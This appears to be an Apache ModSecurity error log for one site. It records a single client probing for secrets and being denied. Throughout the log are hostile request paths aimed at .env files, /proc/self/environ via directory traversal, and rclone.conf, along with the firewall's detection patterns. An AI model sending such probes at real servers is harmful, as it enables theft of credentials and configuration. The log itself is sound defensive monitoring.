[Mon Oct 26 07:29:08.135883 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at85hJ_dbg3ptBnwDgQ4EwAAAAM"]
[Mon Oct 26 07:29:08.136341 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at85hJ_dbg3ptBnwDgQ4EwAAAAM"]
[Mon Oct 26 07:29:08.136589 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at85hJ_dbg3ptBnwDgQ4EwAAAAM"]
[Mon Oct 26 07:29:08.137205 2026] [core:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37530] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Mon Oct 26 07:29:08.281491 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at85hE5VL05DK7ky7IO-eAAAAA4"]
[Mon Oct 26 07:29:08.281588 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at85hE5VL05DK7ky7IO-eAAAAA4"]
[Mon Oct 26 07:29:08.281620 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at85hE5VL05DK7ky7IO-eAAAAA4"]
[Mon Oct 26 07:29:08.282127 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at85hE5VL05DK7ky7IO-eAAAAA4"]
[Mon Oct 26 07:29:08.282423 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at85hE5VL05DK7ky7IO-eAAAAA4"]
[Mon Oct 26 07:29:08.953041 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/backoffice/dashboard"] [unique_id "at85hOjICF14JuwJz6aCJQAAAA8"]
[Mon Oct 26 07:29:08.953082 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/backoffice/dashboard"] [unique_id "at85hOjICF14JuwJz6aCJQAAAA8"]
[Mon Oct 26 07:29:09.333482 2026] [core:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37462] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Mon Oct 26 07:29:09.362351 2026] [core:error] [pid 3023330:tid 3023330] [client 34.19.176.196:37502] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Mon Oct 26 07:29:09.390628 2026] [core:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37566] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Mon Oct 26 07:29:09.426583 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at85hT2qIoRfAL3Hx22jGAAAAAI"]
[Mon Oct 26 07:29:09.426747 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at85hT2qIoRfAL3Hx22jGAAAAAI"]
[Mon Oct 26 07:29:09.427037 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at85hT2qIoRfAL3Hx22jGAAAAAI"]
[Mon Oct 26 07:29:09.523391 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at85hQbLerFfv4dhcWT0_wAAAAY"]
[Mon Oct 26 07:29:09.523805 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at85hQbLerFfv4dhcWT0_wAAAAY"]
[Mon Oct 26 07:29:09.524123 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at85hQbLerFfv4dhcWT0_wAAAAY"]
[Mon Oct 26 07:29:10.087512 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at85hujICF14JuwJz6aCJwAAAA8"]
[Mon Oct 26 07:29:10.087769 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at85hujICF14JuwJz6aCJwAAAA8"]
[Mon Oct 26 07:29:10.088155 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at85hujICF14JuwJz6aCJwAAAA8"]
[Mon Oct 26 07:29:10.107514 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at85hj2qIoRfAL3Hx22jGQAAAAI"]
[Mon Oct 26 07:29:10.107742 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at85hj2qIoRfAL3Hx22jGQAAAAI"]
[Mon Oct 26 07:29:10.108006 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at85hj2qIoRfAL3Hx22jGQAAAAI"]
[Mon Oct 26 07:29:10.185521 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at85hujICF14JuwJz6aCKwAAAA8"]
[Mon Oct 26 07:29:10.185674 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at85hujICF14JuwJz6aCKwAAAA8"]
[Mon Oct 26 07:29:10.185993 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at85hujICF14JuwJz6aCKwAAAA8"]
[Mon Oct 26 07:29:10.205418 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at85hujICF14JuwJz6aCLAAAAA8"]
[Mon Oct 26 07:29:10.205600 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at85hujICF14JuwJz6aCLAAAAA8"]
[Mon Oct 26 07:29:10.205843 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at85hujICF14JuwJz6aCLAAAAA8"]
[Mon Oct 26 07:29:10.206424 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at85hj2qIoRfAL3Hx22jHAAAAAI"]
[Mon Oct 26 07:29:10.206583 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at85hj2qIoRfAL3Hx22jHAAAAAI"]
[Mon Oct 26 07:29:10.206845 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at85hj2qIoRfAL3Hx22jHAAAAAI"]
[Mon Oct 26 07:29:10.206861 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at85hk5VL05DK7ky7IO-hQAAAA4"]
[Mon Oct 26 07:29:10.207036 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at85hk5VL05DK7ky7IO-hQAAAA4"]
[Mon Oct 26 07:29:10.207261 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at85hk5VL05DK7ky7IO-hQAAAA4"]
[Mon Oct 26 07:29:10.254073 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at85hnFRwTfT0KsFZ4eroQAAAA0"]
[Mon Oct 26 07:29:10.254241 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at85hnFRwTfT0KsFZ4eroQAAAA0"]
[Mon Oct 26 07:29:10.254469 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at85hn3wwcXP35BsOaDu1gAAAAw"]
[Mon Oct 26 07:29:10.254539 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at85hnFRwTfT0KsFZ4eroQAAAA0"]
